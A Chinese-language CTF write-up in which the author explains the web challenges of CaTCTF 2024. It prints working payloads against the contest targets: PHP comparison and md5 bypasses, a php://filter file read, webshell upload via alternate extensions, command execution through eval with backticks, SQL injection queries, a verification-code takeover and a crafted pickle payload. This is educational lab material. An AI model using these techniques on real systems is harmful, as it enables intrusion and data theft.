搜索文章

输入标题或内容中的关键词。

← 回到技术手记
WEB安全

CaTCTF 2024 Web 题解

gemhack··16 分钟阅读

本文记录 CaTCTF 2024 Web 题目的考点和解题过程,示例中的地址与凭据来自比赛靶场。

前言

这是我第一次出题,从零到一的跨越,所以出的不是特别好,个人感觉糟糕透了,还有很多需要改进的地方,比如很多题其实纯靠GPT就可以做出来,但是这并非比赛的本意,也对能力的提升收效甚微,作为出题人应该尽量避免,但是没有做好,我在这里磕头谢罪了。

同时作为出题人也从中收获到了很多,也看到了大家的热情,这次新生赛受益还是很好的。

[Web签到] F12

签到题,学会使用开发者工具(DevTools),直接在源代码注释中就可以找到flag。

笔记配图

bear的小饼干

这道题主要考察http的基础知识以及hackbar工具的使用。包括robots.txt文件泄露敏感信息,xff绕过,请求头标头的含义。

首先打开页面,根据提示,直接访问robots.txt文件

p2

看到敏感信息泄露,访问/Secre7_ent4ance.php。

然后根据提示,表明请求从本地发出。于是使用xff绕过(对于未接触过ctf的萌新来说,确实不容易想到。)

再按照提示,修改cookie为school=tongji,然后提示使用Tongji Academic Browser,当然不是真的下一个浏览器,根据知识点的串联以及思考服务端如何知道使用的是哪个浏览器这个问题,就可以想到user-agent标头。于是修改User-Agent: Tongji Academic Browser,最后获得flag

笔记配图

bear_md5

这道题主要考察php代码审计的能力以及php比较绕过的知识。

首先是php弱比较(==),对于数字和字符串之间的比较,会将字符串转化为数字之后比较,如果两个字符都满足0e165665这样的科学计数法的形式,就会转化为数字,也就是0,从而弱相等。绕过第一层。

本题使用的旧 PHP 环境中,向 md5() 传数组会产生警告并返回 NULL,因此可以利用 NULL === NULL。PHP 8 对这种参数类型会抛出 TypeError,不能直接照搬旧环境做法。

但是,可以发现,这个技巧也可以适用于第一层的绕过,要限制也很简单,就是比较strval($cat) != strval($ctf),当cat,ctf均为数组是,会转化为字符串Array,避免绕过。但是我刚开始没注意,是一个漏洞。

于是构造字符串

?cat=QNKCDZO&ctf=s878926199a
POST
bear[]=1&kangaroo[]=2

从而到include部分,读取flag.php发现发现什么都没有,但是提示有内容的。因为flag.php中只有一个变量定义语句,所以没有输出,使用php伪协议将输入流编码一下,避免被执行。

最后的payload:

?cat=QNKCDZO&ctf=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php
POST
bear[]=1&kangaroo[]=2
笔记配图

熊的图床

这道题考察文件上传漏洞,下面附上这种题的一般思路:

首先上传一个非指定格式但是是指定格式后缀的文件,判断是否上传成功

|__是:文件后缀检测

判断是否为前端检测

              |__是:前端js检测

              |__否:后端绕过{

                       |__MINE检测

                       |__黑名单检测(随意构造的后缀能上传)

                       |__白名单检测(随意构造的后缀无法上传,只能上传指定的后缀)

|__否:文件内容检测

           |__文件幻数检测

           |__文件二次渲染

|__其他:自行判断逻辑

首先上传test.php

笔记配图

被检测,但是正常的jpg修改后缀也会被检测,猜测是后缀检查,js代码无检测,所以推断是后端检测。

随意上传一个.asfiah后缀,能成功,于是确定是黑名单检测。对于后端黑名单检测,第一个想到的肯定是冷门后缀绕过,因为最简单。这也是这道题的考点。

上传.php3,.php5,.phtml均可以。成功上传之后,执行木马(也可以使用蚁剑直接连接),在根目录下找到flag

笔记配图

bear的许愿池

这道题借鉴的是去年校赛的一道题:老虎机。但是没有出好,有很多种办法获得flag。预期解是使用bp的爆破模块,爆破出luckynum,或者是使用py写脚本也可以。但是本意不在此,发现和数学小天才重复了。还有选手直接点出来或者使用连点器加录屏的,出之前确实考虑到了,但是为了减轻运行的压力,只设置1-9999,后来发现对比鸡块佬要运行几十分钟和github要运行几个小时的脚本,发现自己还是太善良了。

总之这道题娱乐题,给出预期解:

笔记配图

得到flag

笔记配图

熊熊小游戏

这是一道前端游戏题,分数是我乱设的,但是没想到每年小游戏题都有人硬解,我感慨到:“分数还是设低了。”

这道题的解法也很多,修改_SCORE或者修改success的分数为20这样的低分。或者是将success代码直接复制出来,搜索一下应该能找得到是fuckjs混淆,这个混淆是对称的,可解密,可以直接解出flag,或者是直接运行也可以获得flag。

总体来说这道题出的不好,通关条件使用了等于判断,出现了bug,还有就是前端没学好,应该设置更多过滤的。

笔记配图

数学小天才

这道题也不难,考点很清楚,也就是py脚本的编写能力。

直接使用request库和re库编写,就可以得到flag

exp:

import requests
from time import sleep
import re


url = "http://127.0.0.1/"
times = 0
session = requests.session()
data = {
    "answer":""
}
r = ""
while True:
    print("times=",times)
    if(times == 0):
        r = session.get(url=url,)

    pattern = r'\d+ [+\-x÷] \d+'
    try:
        s = re.search(pattern, r.text).group()
        if('+' in s):
            data['answer'] = eval(s)
        elif('-' in s):
            data['answer'] = eval(s)
        elif('x' in s):
            data['answer'] = eval(s.replace('x','*'))
        elif('÷' in s):
            data['answer'] = round(eval(s.replace('÷','/')))
        print(s)
        print(data['answer'])
    except:
        print(r.text)

    sleep(1.1)
    r = session.post(url=url,data=data,)
    print("--------------------------------------------------------------------")
    times += 1
    if('ctf' in r.text):
        print(r.text)
        break

得到flag

p10

bear_RCE

这道题的话,出的也不算特别难,但是需要比较熟悉bash命令。


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/fl|a|c|system|php|sort|shell|exec|\.| |\'/i", $c)){
        eval($c);
    }
    else{
        echo "nonono";
    }
}

过滤了exec,system,shell看似无法执行系统命令了,但是特地放过了一个经典的执行系统命令的方法,使用反引号__“__.但是使用反引号无回显,可以使用print()函数,甚至也可以使用die()函数。

能执行系统命令之后接下来也没有什么难的了,可以使用变量的传递,这样能绕过所有的黑名单,所以预期解的构造就是

?c=print(`$_GET[1]`);&1=cat /flag
?c=die(`$_GET[1]`);&1=cat /flag
笔记配图

bear_sqli

这个题不算难,而且根据题面信息能很轻易的使用字符型sqli绕过,但是并没有直接给出flag,而是提示“远在天边,近在眼前~”。说明flag就在附近,可以推测一下返回的数据是不是只有一条,能想到这里就已经成功了,因为flag就在下一条记录,使用limit来获取就可以。

直接输入username=1' limit 1,1#'

就能得到flag

image-20241022201946218

如果没有想到在下一条记录也没关系,就使用union select查询表名,列名,拼接记录也可以。

首先使用

1' union select 1,2,3#'  --得到有三列,并且返回的是第三列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() #'
--爆出列名为username,password,flag

1’ union select 1,2,group_concat(flag) from users # '
--得到flag 远在天边,近在眼前~,catctf{2dd17695-8046-41c0-a02a-92d7fbb4da58}

熊熊大黑客

查看代码的逻辑可以发现


 def send_code():
    email = request.get_json().get('email')
    print("email", email)
    user = User.query.filter_by(email=email).first()
    # print(user.secret)

    if user:
        verification_code = ''.join(
            random.sample(string.ascii_letters+string.digits, 32))
        session['code'] = hashlib.md5(
            str(verification_code).encode()).hexdigest()
        session['error'] = 0

        send_verification_code(email, verification_code)  # 发送验证码
        return jsonify({'message': 'Verification code sent!'})
    else:
        return jsonify({'message': 'Email not found!'}), 404

......

 if session.get('code') == hashlib.md5(verification_code.encode()).hexdigest():
                    session['email'] = email
                    session['logged_in'] = True
                    return redirect(url_for('profile'))
                else:
                    session['error'] += 1
                    flash(f'验证码错误,失败{session.get('error')}次')
                    return redirect(url_for('login'))

只需要emal存在于数据库之中,并且verification_code正确即可,但是对于verification_code的接收地址没有绑死,所以我们可以首先注册一个账号,让自己的邮箱在数据库中,然后验证码登录,把验证码发送到自己的邮箱,然后登录女神的账号。

image-20241022211820220

来自一年后的告白回复

whistleH学长的这道题考察的pickle反序列化,非常有意思。我的方法是最简单的变量覆盖,test大佬使用了多层反序列化,yyds!

首先是需要通过e和n找到d,由于n比较短,所以直接暴力分解了,得到d。

d=381164190708959071067796863880610329786415950224316575906085166407159950035016092363436786499585357961357053982992345387339817622419899103634462778769313

然后就可以使用加解密功能了。

从网站上下载序列化后再加密的数据,得到

EO4P+El7yfQd3NGfXczn6l5RJ9MaPNe/3Tlb7oHjDAz79R+NZLsrgb3M4z7MthAnHHMi+DvOOSa45QwUTeWt4uFGCzS+kOLaySEWPwttPrPWK3x3.GeHLSYgsQgxHIufSk+tGNNbizmUpAx6XXeetLMyvw9cRucFcjEGdydUoY2ARtEe7cnrgEcd4XNd1QfA3qGgP8w==

然后decode()得到反序列化的字符串

b'\x80\x04\x959\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x08username\x94\x8c\x04nemo\x94\x8c\nwin_streak\x94K\x01\x8c\x0ehighest_streak\x94K\x01u.'

得出这是protocol=4的序列化结果,反序列化可以向下兼容,本来打算使用protocol=0的,但是字典对象序列化之后会有V,在黑名单之中。纯手打opcode我也不是特别熟悉,所以直接使用了v3序列化的结果,再自己修改一下。

通过c_main_.flag调用全局变量,然后让highest_streak属性的值等于全局变量flag的值,上传就可以得到flag了。

这里虽然代码中有

if data_ins != None:
            session['data'].update(data_ins)
assert session['data']['username'] == 'nemo'
assert isinstance(session['data']['win_streak'], int)
assert isinstance(session['data']['highest_streak'], int)

断言,highest_streak不等于int类型会中断脚本的运行,但是可以发现在此之前已经update了session,所以对结果没有太大影响,能正常得到flag。

于是构造

b'\x80\x03}q\x00(X\x08\x00\x00\x00usernameq\x01X\x04\x00\x00\x00nemoq\x02X\n\x00\x00\x00win_streakq\x03K\x01X\x0e\x00\x00\x00highest_streakq\x04c__main__\nflag\nq\x05u.'

然后加密上传,最后得到flag

img
评论发表评论

评论

发表评论

邮箱不会公开。标有 * 的项目为必填项。